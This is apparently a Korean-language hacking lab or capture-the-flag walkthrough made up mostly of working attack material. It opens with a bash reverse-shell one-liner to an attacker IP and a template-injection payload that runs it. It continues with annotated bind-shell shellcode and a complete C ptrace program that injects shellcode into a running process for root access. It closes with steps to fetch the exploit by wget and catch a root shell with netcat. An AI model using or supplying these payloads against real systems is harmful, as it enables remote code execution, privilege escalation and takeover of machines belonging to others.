bash -i >& /dev/tcp/192.168.166.128/443 0>&1
{% import os %}
{{os.system('bash -c "bash -i >& /dev/tcp/192.168.166.128/443 0>&1"')}}




파이썬 코드 실행 가능 - 파이썬 2.7 실행 가능함을 확인할 수 있다.

cve 2019 0211

시스템 콜 사용
위 기능들을 사용하여 권한 상승을 시켜본다.
Disassembly of section .text:
0000000000400080 <.text>:
400080: 48 31 c0 xor %rax,%rax
400083: 48 31 d2 xor %rdx,%rdx
400086: 48 31 f6 xor %rsi,%rsi
400089: ff c6 inc %esi
40008b: 6a 29 pushq $0x29
40008d: 58 pop %rax
40008e: 6a 02 pushq $0x2
400090: 5f pop %rdi
400091: 0f 05 syscall // 시스템 콜 / sys_socket / int family = 0x2
400093: 48 97 xchg %rax,%rdi
400095: 6a 02 pushq $0x2
400097: 66 c7 44 24 02 15 e0 movw $0xe015,0x2(%rsp) // 5600(포트지정) - 리틀 엔디언 방식으로 메모리에 탑재되므로 0056을 넣는다
40009e: 54 push %rsp
40009f: 5e pop %rsi
4000a0: 52 push %rdx
4000a1: 6a 31 pushq $0x31
4000a3: 58 pop %rax
4000a4: 6a 10 pushq $0x10
4000a6: 5a pop %rdx
4000a7: 0f 05 syscall // 시스템 콜 / sys_bind / rdi = &sd / rdx = 0x10
4000a9: 5e pop %rsi
4000aa: 6a 32 pushq $0x32
4000ac: 58 pop %rax
4000ad: 0f 05 syscall // 시스템 콜 / sys_listen / rdi = &sd
4000af: 6a 2b pushq $0x2b
4000b1: 58 pop %rax
4000b2: 0f 05 syscall // 시스템 콜 / sys_accept / rdi = &sd
4000b4: 48 97 xchg %rax,%rdi
4000b6: 6a 03 pushq $0x3
4000b8: 5e pop %rsi
4000b9: ff ce dec %esi
4000bb: b0 21 mov $0x21,%al
4000bd: 0f 05 syscall // 시스템 콜 / sys_dup2 /
4000bf: 75 f8 jne 0x4000b9
4000c1: f7 e6 mul %esi
4000c3: 52 push %rdx
4000c4: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx // rbx에 '/bin//sh'
4000cb: 2f 73 68
4000ce: 53 push %rbx
4000cf: 48 8d 3c 24 lea (%rsp),%rdi
4000d3: b0 3b mov $0x3b,%al
4000d5: 0f 05 syscall // 시스템 콜 / sys_execve /
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 32
unsigned char *shellcode =
"\x48\x31\xc0\x48\x89\xc2\x48\x89"
"\xc6\x48\x8d\x3d\x04\x00\x00\x00"
"\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\xcc\x90\x90\x90";
int inject_data (pid_t pid, unsigned char *src, void *dst, int len) // 인젝션 시작
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for (i = 0; i < len; i+=4, s++, d++) // 프로세스 길이만큼 인스트럭션 레지스터 덮어쓰기
/*
rip 는 인스트럭션 포인터 레지스터
셸코드를 저장해놓은 주소를 인스트럭션 포인터 레지스터에 하나씩 덮어써서 코드를 강제 실행 시킨 다
*/
{
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) // 실패하면 -1 반환
{
perror ("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int main (int argc, char *argv[]) // 메인 start
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2) // 프로세스 번호 입력 안된 경우 오류
{
fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
exit (1);
}
target = atoi (argv[1]);
printf ("+ Tracing process %d\n", target);
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) // 입력된 프로세스 attach
{
perror ("ptrace(ATTACH):");
exit (1);
}
printf ("+ Waiting for process...\n");
wait (NULL);
printf ("+ Getting Registers\n");
if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) // 프로세스 레지스터 복사
{
perror ("ptrace(GETREGS):");
exit (1);
}
/* Inject code into current RPI position */
printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE); // 인젝션 시작
regs.rip += 2;
printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) // 복사한 레지스터 복귀 - 프로그램 정상화
{
perror ("ptrace(GETREGS):");
exit (1);
}
printf ("+ Run it!\n");
if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(DETACH):");
exit (1);
}
return 0;
}
PTRACE_POKETEXT : 부모 프로세스 메모리 주소에서 자식 프로세스 메모리 주소로 데이터 복사
PTRACE_GETREGS : 자식 프로세스의 레지스터 내용을 읽는다
PTRACE_SETREGS : 자식 프로세스 레지스터 내용을 수정한다
PTRACE_ATTACH : 지정 프로세스를 자식 프로세스로 연결한다
PTRACE_DETACH : 자식 프로세스를 연결 해제한다
위 코드를 사용하여 루트 권한의 dash쉘 연결을 수립한다.
C언어 컴파일을 위해 환경을 새로 올리고 검증하는 과정이 번거로운 관계로 같은 방식으로 미리 작성된 파이썬 코드를 활용한다.

작성한 코드를 깃허브에 퍼블릭으로 올리고, wget로 받아온다.

정상적으로 파일이 받아진 것을 확인한다.


이후 공격 측 셀에서 NC로 연결해주면 루트 권한을 확인할 수 있다.